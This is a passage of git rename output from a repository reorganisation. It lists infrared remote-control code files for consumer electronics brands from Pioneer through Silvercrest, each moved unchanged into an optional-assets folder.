optional-assets}/_CSV-IRDB_/Pioneer/Unknown_CU-CLD067/168,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pioneer/Unknown_CU-CLD106/168,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pioneer/Unknown_CU-PD008/162,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pioneer/Unknown_CU-PD038/162,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pioneer/Unknown_CU-PD046/162,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pioneer/Unknown_CU-PD069/162,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pioneer/Unknown_CU-PD085/162,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pioneer/Unknown_CU-PD089/162,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pioneer/Unknown_DEH-D8850/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pioneer/Unknown_PD-M650/162,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pioneer/Unknown_Pioneer-CU-XR014/2,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pioneer/Unknown_VXX2801/163,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pioneer/Unknown_cu-pd096/162,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pioneer/Unknown_pioneer/162,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pioneer/Unknown_pioneer/168,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/PixelView/Unknown_2000/63,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/PixelView/Unknown_PlayTV/134,107.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Polaroid/Unknown_DVDP-1000/32,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Pragmatic/Router/172,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/ProPlay/Unknown_PS2/0,246.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Proceed/Surround Processor/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Proscan/DVD Player/15,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Proscan/DVD Player/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Proscan/TV/15,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Proscan/Unknown_proscan-vcr/14,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Protek/Unknown_Protek/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Proton/TV/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Proton/TV/2,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Proton/TV/3,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Proton/TV/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Provideo/Unknown_PV951/134,107.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Provision/Unknown_PR-DVD2.0/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Provision/Unknown_PRDVD2166/0,153.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/QUADRAL/Unknown_RC-804/19,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Quasar/TV/128,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/RCA/DSS/15,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/RCA/DSS/7,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/RCA/DVD Player/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/RCA/Laser Disc/13,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/RCA/TV/14,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/RCA/TV/15,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/RCA/TV/7,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/RCA/Unknown_BR-RCA/39,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/RCA/Unknown_DTA800b/7,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/RCA/Unknown_R130A1/15,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/RCA/Unknown_RCA-F20507CP/15,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/RCA/Unknown_RCZ/135,94.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/RCA/Unknown_TV/15,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/RCA/VCR/14,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/RCA/VCR/15,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/RSQ/Karaoke/179,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/RSQ/Karaoke/191,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/RSQ/Karaoke/3,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Radio Shack/Unknown_RS2142/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Radio Shack/Unknown_RadioShack/3,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Radio Shack/Unknown_Radioshack2115/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Radix/Unknown_Alpha/138,245.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Radix/Unknown_DT-X1/0,127.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Radix/Unknown_DTR-9000-Twin/0,127.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Radix/Unknown_SAT/138,245.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Radix/Unknown_lircd.conf/0,127.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Radix/Unknown_radix/138,245.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Raite/Unknown_RaiteDVD-7xx/32,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Ranex/Unknown_RGB/64,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Re.x/Unknown_SDVD/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/ReadMe.md (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Recor/Unknown_IRC-1304/7,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Rega/Receiver/110,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Rega/Receiver/135,124.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Rega/Receiver/16,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Replay Networks/Digital Recorder/1,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/ReplayTV/Unknown_5000/1,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Revo/Unknown_Blik/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Revoy/Unknown_Revoy2200/0,153.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Rio/Unknown_Audio/130,19.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Roku/Unknown_Netflix/190,239.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Roku/Unknown_Soundbridge/111,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Rolsen/Unknown_DK5A/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Rolsen/Unknown_K10B-C1/14,14.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Rotel/CD Player/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Rotel/Tuner/82,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Rotel/Unknown_RR-925/131,18.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Rowa/Unknown_RDVD104/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Runco/Line Doubler/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Runco/Video Controller/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Runco/Video Projector/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Runco/Video Projector/24,247.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Runco/Video Projector/5,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Russound/Music Server/10,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/SAB/Unknown_Explorer/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/SABA/Unknown_SabaTC460/7,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/SABA/Unknown_TC3003/7,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/SEG/Unknown_E6900-X020A/2,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/SEG/Unknown_SEG-DVD-430/32,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/SEG/Unknown_SEG-VCR4300/21,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/SEG/Unknown_SR-040/133,115.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/SEG/Unknown_SR-201/66,253.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/SEG/Unknown_SR800/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/SEG/Unknown_VCR/21,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/SEG/Unknown_VCR2000/134,124.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/ST/Unknown_DTTRC-4/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/ST/Unknown_HMP/8,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/STRONG/8209_DVB-T2/1,254.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/STRONG/8821_DVB-T/2,2.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/STRONG/Unknown_STRONG/128,119.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/SUPERSQNY/Unknown_KM-168/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/SVEN/Unknown_HT-475/24,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/SVEN/Unknown_IHOO/24,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sagem/Unknown_DVB-T-Receiver/135,94.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sagem/Unknown_HD103-C/135,94.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sagem/Unknown_Sagem/135,94.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Salora/Unknown_SV6700/49,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Air Conditioner/1,8.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Rear Projection DLP TV/7,7.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/TV/7,7.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_00011k/102,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_00021c/5,5.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_00054d/102,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_00056A/102,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_00077A/7,7.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_00092M/102,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_00092b/102,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_00104J/7,7.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_00104K/7,7.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_00198f/7,7.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_00225A/7,7.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_01043A/102,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_10107N/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_10116A/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_10420A/5,5.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_528Z/2,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_AA59-00316b/7,7.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_AA59-00332D/7,7.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_AA59-00370A/7,7.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_AA59-00382A/7,7.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_AA59-00600A/7,7.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_AA59-10026E/5,5.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_AA64-50236A/7,7.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_AH59-01527F/67,83.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_AH59-02345A/7,7.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_ARH-700/1,8.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_BN59-00507A/7,7.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_BN59-00538A/7,7.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_BN59-00603A/7,7.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_BN59-00609A/7,7.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_BN59-00634A/9,9.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_BN59-00678A/7,7.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_BN59-00683A/7,7.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_BN59-00685A/7,7.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_BN59-00856A/7,7.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_BN59-00861A/7,7.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_BN59-00865A/7,7.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_BN59-00869A/7,7.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_BN59-00940A/7,7.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_BRM-E1E/33,33.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_HLN507W/7,7.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_MF59-00242B/9,9.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_MF59-00291a/32,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_MF59/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_PR3914/5,5.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_RCD-M70/0,4.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/102,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/5,5.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_SAMSUNG/7,7.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_SAT/21,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_SFT-702E/64,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_SMT-1000T/64,64.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_SMT-H3050/27,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_SV-411X/5,5.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_SV-610X/5,5.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_SV-651B/5,5.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_SV-DVD3E/5,5.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_TV/7,7.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_VCR/5,5.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_VXK-336/5,5.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_hifi/0,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_samsung-10095T/7,7.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/Unknown_test/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/VCR/2,2.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samsung/VCR/5,5.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Samy/Unknown_SDX1100/8,230.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sansonic/Unknown_FT-300A/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sansui/Unknown_SANSUI-RS-S103/132,77.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sanyo/TV/56,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sanyo/Unknown_A05800/49,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sanyo/Unknown_B01004/49,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sanyo/Unknown_B01007/49,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sanyo/Unknown_B12628/49,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sanyo/Unknown_B13540/49,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sanyo/Unknown_RB-DA300/60,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sanyo/Unknown_RB-SL22/60,196.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sanyo/Unknown_RC-105C/54,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sanyo/Unknown_RC700/56,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sanyo/Unknown_Sanyo-B13509/49,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sanyo/Unknown_Sanyo-JXZB/56,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sanyo/Unknown_Sanyo/49,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sanyo/Unknown_Sanyo/56,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sanyo/Unknown_TV/56,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sanyo/Unknown_VCR/49,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sanyo/Unknown_sanyo-tv01/56,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sanyo/Unknown_sanyoB13537/49,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sanyo/Video Projector/48,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Satelco/Sat/24,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Schneider/Unknown_FB2000/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Schneider/Unknown_RC-193/154,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Schneider/Unknown_RC202/11,11.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Schneider/Unknown_RC901/28,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Schneider/Unknown_RC902/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Schwaiger/Unknown_DSR/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Scientific Atlanta/Cable Box/27,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Scientific Atlanta/Cable Box/71,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Scientific Atlanta/Unknown_Atlanta-1840/27,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Scientific Atlanta/Unknown_IV/27,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Scientific Atlanta/Unknown_RM9834/27,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Scientific Atlanta/Unknown_SAE8000/27,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Scott/Unknown_DVD-838/8,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Scott/Unknown_scott-dvd/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Seleco/TV/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Seleco/TV/30,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sencor/Unknown_SFN9011SL/0,252.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sgi/Unknown_SGIMON/26,9.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sharp/DTV Decoder/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sharp/Monitor/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sharp/TV/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sharp/Unknown_CV-2131CK1/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sharp/Unknown_G0048TA/19,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sharp/Unknown_G0412GE/3,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sharp/Unknown_G0938CESA/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sharp/Unknown_G1014BMSA/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sharp/Unknown_G1044BMSA/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sharp/Unknown_GJ210/0,189.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sharp/Unknown_RRMCGA030WJSA/8,48.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sharp/Unknown_SHARP/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sharp/Unknown_sharp1781/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sharp/VCR/3,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sharp/Video Projector/13,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sharpsat/Unknown_T28/128,38.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sherwood/Receiver/131,69.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sherwood/Unknown_GC-1285/129,114.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sherwood/Unknown_RM-101/69,131.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sherwood/Unknown_RM-636/131,68.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sherwood/Unknown_RM-RV-N25/131,68.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sherwood/Unknown_Sherwood-S2770R-CP-II/129,123.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sherwood/Unknown_sherwood/129,122.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sherwood/Unknown_sherwood/131,69.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Shinco/Unknown_RC-1730/0,153.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Shuttle/Unknown_mceusb/4,15.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Siemens/Unknown_fb405/134,84.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Siemens/Unknown_siemens-fb400/131,89.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Siemens/Unknown_siemens1/49,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sigma Designs/DVD Player/128,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sigma Designs/Unknown_SIR/128,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sigmatek/Unknown_X100/8,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Sigmatek/Unknown_XMB-510-PRO/8,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Silvercrest/Unknown_RCH7S52/32,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Silvercrest/Unknown_URC-801/4,15.ir (100%) rename 